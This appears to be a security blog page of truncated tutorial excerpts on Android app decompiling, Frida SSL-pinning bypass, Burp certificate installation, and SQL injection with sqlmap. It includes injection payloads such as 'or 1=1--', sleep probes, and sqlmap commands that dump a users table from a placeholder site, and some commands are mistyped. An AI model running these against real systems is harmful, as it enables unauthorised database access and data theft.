Cyber Security | Web Development

Tool Name: jadx-gui Step 1: Download the Jadx-Gui tool from the given below link. https://github.com/skylot/jadx/releases/tag/v1.4.5 Step 2: Extract the downloaded file(jadx-gui). Step 3: Open your appropriate .apk file in the application. Enjoy it… 😊 POC:

 SQLMap We have to copy the request from the burp suite and paste it into the .txt file format. Type -1 Safest technique: level 1 & risk 1 level 1 & risk 2 level 2 & risk 1 level 2 & risk 2 Commands: sqlmap -r test.txt --banner sqlmap -r test.txt --banner --level 2 --risk 1 sqlmap -r test.txt --banner --dbms=PostgreSQL --level 2 --risk 1  => if you found database sqlmap -r test.txt --banner --dbms=PostgreSQL --level 2 --risk 1 Type -2 Error based SQL - Injection https://testdemo.com/sports.php?id=1' https://testdemo.com/sports.php?id=2-1 https://testdemo.com/sports.php?id=3-1 https://testdemo.com/sports.php?id=1_sleep(11) SQLmap TOOL: python sqlmap.py -u https://testdemo.com/sports.php?id=1 --dbs sqlmap -u https://testdemo.com/sports.php?id=1 --dbs sqlmap -u https://testdemo.com/sports.php?id=1 acuart --tables sqlmap -u https://testdemo.com/sports.php?id=1 acuart  --tables users --dump Email = SELECT*FROM users WHERE username='or 1=1--' password='qwer...

To use emulator(Using NOX emulator): Open Appie Application Tools Requirements 1. Appie tool 2. Burp certificate 3. Frida Server Step 1: $ cd C:\Appie\bin\adt\sdk\platform-tools Step 4 – 6 One time steps we have to do for new devices or emulator. Step 2: $ .\adb.exe connect 127.0.0.1:62001 Step 3: $ adb devices Step 4: $ adb push fridasslandroot.js / data/local/tmp Step 5: $ adb shell chmod 777 / data /local/tmp/frida-server Step 6: $ adb push cacert.der /data/local/tmp/cert-der.crt Step 7: Run frida server $ adb shell /data/local/tmp/frida-server & Step 8: Open new tab in APPIE and execute below command: Finally you are unpinned and execute application in rooted mobile. $ frida -U -f <Your-Package-Name> -l C:\Appie\bin\adt\sdk\platform-tools\fridasslandroot.js --no-paus $ frida -U -f com.test.demo -l C:\Appie\bin\adt\sdk\platform-tools\fridasslandroot.js --no-paus

 Introduction               Frida framework used to break the SSL pinning in the android application which we can intercept the data in the burp suite for testing purposes. Required tools:      1. Appie - ADB      2. Genymotion      3. Python(V3.9.9) Step 1: Config Genymotion Emulator device (Prefer below config device) Step 2: Download and install python in our system. Link:  https://www.python.org/downloads/windows/     To check the python version in your system: CMD: python --version We need to install some python packages for the Frida server. For this enter the following command in the terminal: python -m pip install Frida python -m pip install objection python -m pip install frida-tools Or I prefer below commands: pip install Frida pip install objection pip install frida-tools Step 3: We need to download the fridascript.js file and place it below the directory. Link:  ht...

How to reverse engineering in Android application      Required tools :           1. JAD ()          2. DEX2JAR ()          3. 7ZIP      Note: Put your apk app and all tools in a single folder(to easy access). Step 1:   To redirect the command prompt directly. Step 2: Convert DEX to JAR  Using tool dex2jar      Now we got extracted file Step 3:  We extracted the jar file      U sing the 7Zip tool  Choose your required files and copy them to your local disk. Now we got Class files but we can’t edit them so next, we have to convert the Class file into Java.      Using a tool: JAD Step 4:      Convert class file to java file Use any online java compiler to execute the below code.      Note: Take the secret key from a.java and MessageActivity.java source code. import java.util.Ba...

Step 1 : Download a certificate from below link      Download file: http://burpsuite/ Step 2: Modify format into .crt extension using burp suite app following below steps     Note:  Choose a downloaded certificate and Change the extension into .crt and save it.      Successfully exported cacert.crt format file now we have to move to emulator or devices      Installation certificate into emulator or device configuration      Move to cacert.crt file into emulator using drag and drop file into the screen      In setting  search Install certificate option                                                                                       ...